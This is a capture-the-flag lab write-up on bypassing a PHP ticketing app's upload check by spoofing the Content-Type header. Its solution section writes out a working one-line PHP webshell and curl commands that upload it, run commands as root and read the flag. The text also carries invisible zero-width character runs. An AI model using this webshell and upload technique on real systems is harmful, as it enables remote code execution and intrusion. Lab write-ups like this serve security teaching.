Lab 165 — ReplyStream — File Upload Bypass via Content-Type Validation

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: content_type_header_manipulation, mime_type_spoofing, php_webshell_upload

Summary

Task: Customer support platform with file upload functionality that validates files based on Content-Type header only. Solution: Bypass validation by spoofing MIME type in multipart/form-data request to upload PHP webshell and achieve RCE.

Lab 165 — ReplyStream — File Upload Bypass via Content-Type Validation — Hackadvisor

Description

ReplyStream is a customer support platform used by StreamLine Software's enterprise clients. The application features a full-featured ticketing system where support agents manage customer inquiries, attach files to conversations, and maintain an internal knowledge base.

Agents frequently share screenshots and documents through the ticket attachment system to collaborate on resolving customer issues. The platform supports multiple file types including images and PDFs.

Your goal is to find and exploit a vulnerability in the application to retrieve the flag stored on the server.

Credentials: user@test.com / password123 Hint: The ticket system allows agents to attach files. Take a closer look at how the application determines whether an uploaded file is safe. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A PHP-based customer support ticketing system with file upload functionality. The goal is to exploit the file upload mechanism to gain RCE and retrieve the flag from the server.

Analysis

1. Target reconnaissance:

   • Server: PHP 8.2.26 on nginx/1.25.5
   • Ticket system at /tickets with file upload functionality
   • File upload endpoint: /tickets/{id}/upload
   • Client-side accepts: .png, .jpg, .jpeg, .gif, .pdf

2. Vulnerability identification:

   • The file upload validates files based only on the Content-Type header in the multipart/form-data request
   • It does NOT validate:
     • Actual file extension
     • File content (magic bytes)
   • This is a classic Content-Type validation bypass vulnerability ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

3. Key weakness:

   • Server trusts the client-provided Content-Type header
   • Uploaded files retain their original extension
   • PHP files in the uploads directory are executed by the server

Note: The challenge included a honeypot/decoy flag in HTML comments: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} (literally "decoy not real trap for bots"). This was correctly identified and ignored.

Solution

Step 1: Create PHP webshell

 php read-only • copy allowed Copy
<?php system($_GET["cmd"]); ?>

Save as shell.php.

Step 2: Upload with spoofed Content-Type

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

 bash read-only • copy allowed Copy
# Login and save cookies
curl -s -c cookies.txt -X POST \
  "https://[target]/login" \
  -d "email=user@test.com&password=password123"

# Upload PHP shell with spoofed MIME type
curl -s -b cookies.txt -X POST \
  "https://[target]/tickets/5/upload" \
  -F "attachment=@shell.php;type=image/png"

The server accepts the file because Content-Type is image/png, but saves it with the .php extension.

Step 3: Execute commands via webshell

 bash read-only • copy allowed Copy
# Verify RCE
curl "https://[target]/uploads/ticket_5_1777313675_b9f03c15.php?cmd=id"
# Output: uid=0(root) gid=0(root)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Find flag
curl "https://[target]/uploads/ticket_5_1777313675_b9f03c15.php?cmd=find+/+-name+*flag*"
# Output: /root/flag.txt

# Read flag
curl "https://[target]/uploads/ticket_5_1777313675_b9f03c15.php?cmd=cat+/root/flag.txt"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍